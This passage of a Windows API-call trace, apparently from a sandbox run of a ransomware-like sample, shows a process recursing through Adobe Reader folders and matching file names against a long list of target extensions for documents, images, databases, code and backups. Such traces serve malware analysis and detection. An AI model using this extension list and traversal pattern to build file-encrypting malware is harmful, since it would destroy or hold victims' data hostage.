lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.504] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.505] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.505] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0286.505] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.505] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.505] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.505] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-sl\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bde0 [0286.505] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.505] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.505] FindClose (in: hFindFile=0x380bde0 | out: hFindFile=0x380bde0) returned 1 [0286.505] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.505] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.505] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.505] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380c2a0 [0286.505] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.506] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.506] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.506] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0286.506] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.506] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.506] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0286.506] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\tr-tr\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0286.506] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.506] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.506] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.506] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.506] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0286.506] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.507] lstrlenW (lpString="ui-strings.js") returned 13 [0286.507] lstrlenW (lpString=".1cd") returned 4 [0286.507] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0286.507] lstrlenW (lpString=".3ds") returned 4 [0286.507] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0286.507] lstrlenW (lpString=".3fr") returned 4 [0286.507] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0286.507] lstrlenW (lpString=".3g2") returned 4 [0286.507] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0286.507] lstrlenW (lpString=".3gp") returned 4 [0286.507] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0286.507] lstrlenW (lpString=".7z") returned 3 [0286.507] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0286.507] lstrlenW (lpString=".accda") returned 6 [0286.507] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0286.507] lstrlenW (lpString=".accdb") returned 6 [0286.507] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0286.507] lstrlenW (lpString=".accdc") returned 6 [0286.507] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0286.507] lstrlenW (lpString=".accde") returned 6 [0286.507] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0286.507] lstrlenW (lpString=".accdt") returned 6 [0286.507] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0286.507] lstrlenW (lpString=".accdw") returned 6 [0286.507] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0286.507] lstrlenW (lpString=".adb") returned 4 [0286.508] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0286.508] lstrlenW (lpString=".adp") returned 4 [0286.508] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0286.508] lstrlenW (lpString=".ai") returned 3 [0286.508] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0286.508] lstrlenW (lpString=".ai3") returned 4 [0286.508] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0286.508] lstrlenW (lpString=".ai4") returned 4 [0286.508] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0286.508] lstrlenW (lpString=".ai5") returned 4 [0286.508] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0286.508] lstrlenW (lpString=".ai6") returned 4 [0286.508] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0286.508] lstrlenW (lpString=".ai7") returned 4 [0286.508] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0286.508] lstrlenW (lpString=".ai8") returned 4 [0286.508] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0286.508] lstrlenW (lpString=".anim") returned 5 [0286.508] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0286.508] lstrlenW (lpString=".arw") returned 4 [0286.508] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0286.508] lstrlenW (lpString=".as") returned 3 [0286.508] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0286.508] lstrlenW (lpString=".asa") returned 4 [0286.508] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0286.508] lstrlenW (lpString=".asc") returned 4 [0286.509] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0286.509] lstrlenW (lpString=".ascx") returned 5 [0286.509] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0286.509] lstrlenW (lpString=".asm") returned 4 [0286.509] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0286.509] lstrlenW (lpString=".asmx") returned 5 [0286.509] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0286.509] lstrlenW (lpString=".asp") returned 4 [0286.509] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0286.509] lstrlenW (lpString=".aspx") returned 5 [0286.509] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0286.509] lstrlenW (lpString=".asr") returned 4 [0286.509] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0286.509] lstrlenW (lpString=".asx") returned 4 [0286.509] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0286.509] lstrlenW (lpString=".avi") returned 4 [0286.509] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0286.509] lstrlenW (lpString=".avs") returned 4 [0286.509] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0286.509] lstrlenW (lpString=".backup") returned 7 [0286.509] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0286.509] lstrlenW (lpString=".bak") returned 4 [0286.509] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0286.509] lstrlenW (lpString=".bay") returned 4 [0286.509] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0286.509] lstrlenW (lpString=".bd") returned 3 [0286.509] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0286.509] lstrlenW (lpString=".bin") returned 4 [0286.510] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0286.510] lstrlenW (lpString=".bmp") returned 4 [0286.510] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0286.510] lstrlenW (lpString=".bz2") returned 4 [0286.510] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0286.510] lstrlenW (lpString=".c") returned 2 [0286.510] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0286.510] lstrlenW (lpString=".cdr") returned 4 [0286.510] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0286.510] lstrlenW (lpString=".cer") returned 4 [0286.510] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0286.510] lstrlenW (lpString=".cf") returned 3 [0286.510] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0286.510] lstrlenW (lpString=".cfc") returned 4 [0286.510] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0286.510] lstrlenW (lpString=".cfm") returned 4 [0286.510] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0286.510] lstrlenW (lpString=".cfml") returned 5 [0286.510] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0286.510] lstrlenW (lpString=".cfu") returned 4 [0286.510] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0286.510] lstrlenW (lpString=".chm") returned 4 [0286.510] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0286.510] lstrlenW (lpString=".cin") returned 4 [0286.510] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0286.510] lstrlenW (lpString=".class") returned 6 [0286.510] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0286.510] lstrlenW (lpString=".clx") returned 4 [0286.511] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0286.511] lstrlenW (lpString=".config") returned 7 [0286.511] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0286.511] lstrlenW (lpString=".cpp") returned 4 [0286.511] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0286.511] lstrlenW (lpString=".cr2") returned 4 [0286.511] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0286.511] lstrlenW (lpString=".crt") returned 4 [0286.511] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0286.511] lstrlenW (lpString=".crw") returned 4 [0286.511] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0286.511] lstrlenW (lpString=".cs") returned 3 [0286.511] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0286.511] lstrlenW (lpString=".css") returned 4 [0286.511] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0286.511] lstrlenW (lpString=".csv") returned 4 [0286.511] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0286.511] lstrlenW (lpString=".cub") returned 4 [0286.511] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0286.511] lstrlenW (lpString=".dae") returned 4 [0286.511] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0286.511] lstrlenW (lpString=".dat") returned 4 [0286.511] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0286.511] lstrlenW (lpString=".db") returned 3 [0286.511] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0286.511] lstrlenW (lpString=".dbf") returned 4 [0286.511] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0286.512] lstrlenW (lpString=".dbx") returned 4 [0286.512] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0286.512] lstrlenW (lpString=".dc3") returned 4 [0286.512] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0286.512] lstrlenW (lpString=".dcm") returned 4 [0286.512] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0286.512] lstrlenW (lpString=".dcr") returned 4 [0286.512] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0286.512] lstrlenW (lpString=".der") returned 4 [0286.512] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0286.512] lstrlenW (lpString=".dib") returned 4 [0286.512] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0286.512] lstrlenW (lpString=".dic") returned 4 [0286.512] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0286.512] lstrlenW (lpString=".dif") returned 4 [0286.512] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0286.512] lstrlenW (lpString=".divx") returned 5 [0286.512] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0286.512] lstrlenW (lpString=".djvu") returned 5 [0286.512] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0286.512] lstrlenW (lpString=".dng") returned 4 [0286.512] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0286.512] lstrlenW (lpString=".doc") returned 4 [0286.512] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0286.512] lstrlenW (lpString=".docm") returned 5 [0286.512] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0286.512] lstrlenW (lpString=".docx") returned 5 [0286.512] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0286.513] lstrlenW (lpString=".dot") returned 4 [0286.513] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0286.513] lstrlenW (lpString=".dotm") returned 5 [0286.513] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0286.513] lstrlenW (lpString=".dotx") returned 5 [0286.513] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0286.513] lstrlenW (lpString=".dpx") returned 4 [0286.513] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0286.513] lstrlenW (lpString=".dqy") returned 4 [0286.513] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0286.513] lstrlenW (lpString=".dsn") returned 4 [0286.513] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0286.513] lstrlenW (lpString=".dt") returned 3 [0286.513] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0286.513] lstrlenW (lpString=".dtd") returned 4 [0286.513] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0286.513] lstrlenW (lpString=".dwg") returned 4 [0286.513] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0286.513] lstrlenW (lpString=".dwt") returned 4 [0286.513] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0286.513] lstrlenW (lpString=".dx") returned 3 [0286.513] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0286.513] lstrlenW (lpString=".dxf") returned 4 [0286.513] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0286.513] lstrlenW (lpString=".edml") returned 5 [0286.513] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0286.513] lstrlenW (lpString=".efd") returned 4 [0286.514] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0286.514] lstrlenW (lpString=".elf") returned 4 [0286.514] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0286.514] lstrlenW (lpString=".emf") returned 4 [0286.514] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0286.514] lstrlenW (lpString=".emz") returned 4 [0286.514] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0286.514] lstrlenW (lpString=".epf") returned 4 [0286.514] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0286.514] lstrlenW (lpString=".eps") returned 4 [0286.514] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0286.514] lstrlenW (lpString=".epsf") returned 5 [0286.514] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0286.514] lstrlenW (lpString=".epsp") returned 5 [0286.514] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0286.514] lstrlenW (lpString=".erf") returned 4 [0286.514] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0286.514] lstrlenW (lpString=".exr") returned 4 [0286.514] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0286.514] lstrlenW (lpString=".f4v") returned 4 [0286.514] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0286.514] lstrlenW (lpString=".fido") returned 5 [0286.514] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0286.514] lstrlenW (lpString=".flm") returned 4 [0286.514] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0286.514] lstrlenW (lpString=".flv") returned 4 [0286.514] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0286.514] lstrlenW (lpString=".frm") returned 4 [0286.515] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0286.515] lstrlenW (lpString=".fxg") returned 4 [0286.515] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0286.515] lstrlenW (lpString=".geo") returned 4 [0286.515] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0286.515] lstrlenW (lpString=".gif") returned 4 [0286.515] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0286.515] lstrlenW (lpString=".grs") returned 4 [0286.515] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0286.515] lstrlenW (lpString=".gz") returned 3 [0286.515] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0286.515] lstrlenW (lpString=".h") returned 2 [0286.515] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0286.515] lstrlenW (lpString=".hdr") returned 4 [0286.515] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0286.515] lstrlenW (lpString=".hpp") returned 4 [0286.515] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0286.515] lstrlenW (lpString=".hta") returned 4 [0286.515] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0286.515] lstrlenW (lpString=".htc") returned 4 [0286.515] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0286.515] lstrlenW (lpString=".htm") returned 4 [0286.515] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0286.515] lstrlenW (lpString=".html") returned 5 [0286.515] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0286.515] lstrlenW (lpString=".icb") returned 4 [0286.515] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0286.515] lstrlenW (lpString=".ics") returned 4 [0286.516] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0286.516] lstrlenW (lpString=".iff") returned 4 [0286.516] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0286.516] lstrlenW (lpString=".inc") returned 4 [0286.516] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0286.516] lstrlenW (lpString=".indd") returned 5 [0286.516] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0286.516] lstrlenW (lpString=".ini") returned 4 [0286.516] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0286.516] lstrlenW (lpString=".iqy") returned 4 [0286.516] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0286.516] lstrlenW (lpString=".j2c") returned 4 [0286.516] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0286.516] lstrlenW (lpString=".j2k") returned 4 [0286.516] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0286.516] lstrlenW (lpString=".java") returned 5 [0286.516] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0286.778] lstrlenW (lpString=".jp2") returned 4 [0286.778] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0286.779] lstrlenW (lpString=".jpc") returned 4 [0286.779] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0286.779] lstrlenW (lpString=".jpe") returned 4 [0286.779] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0286.779] lstrlenW (lpString=".jpeg") returned 5 [0286.779] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0286.779] lstrlenW (lpString=".jpf") returned 4 [0286.779] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0286.779] lstrlenW (lpString=".jpg") returned 4 [0286.779] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0286.779] lstrlenW (lpString=".jpx") returned 4 [0286.779] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0286.779] lstrlenW (lpString=".js") returned 3 [0286.779] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0286.779] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.779] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0286.779] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua") returned 104 [0286.779] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\uk-ua\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bce0 [0286.915] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.916] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.916] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.916] FindClose (in: hFindFile=0x380bce0 | out: hFindFile=0x380bce0) returned 1 [0286.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0286.916] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.916] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0286.916] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn") returned 104 [0286.916] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0286.916] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.916] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.916] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.916] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0286.917] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0286.917] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw") returned 104 [0286.917] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bce0 [0286.917] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.917] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.917] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.917] FindClose (in: hFindFile=0x380bce0 | out: hFindFile=0x380bce0) returned 1 [0286.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0286.917] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 0 [0286.917] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0286.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0286.917] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 0 [0286.918] FindClose (in: hFindFile=0x380bc20 | out: hFindFile=0x380bc20) returned 1 [0286.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0286.918] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 0 [0286.918] FindClose (in: hFindFile=0x380c220 | out: hFindFile=0x380c220) returned 1 [0286.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0286.918] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0286.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44f0738 [0286.918] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api") returned 94 [0286.918] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\*", lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 0x380c220 [0286.918] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0286.918] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0286.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0286.918] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev") returned 98 [0286.918] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\*", lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 0x380bce0 [0286.919] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0286.919] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0286.919] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 0 [0286.919] FindClose (in: hFindFile=0x380bce0 | out: hFindFile=0x380bce0) returned 1 [0286.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0286.919] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 0 [0286.919] FindClose (in: hFindFile=0x380c220 | out: hFindFile=0x380c220) returned 1 [0286.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0286.956] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x3f7e918 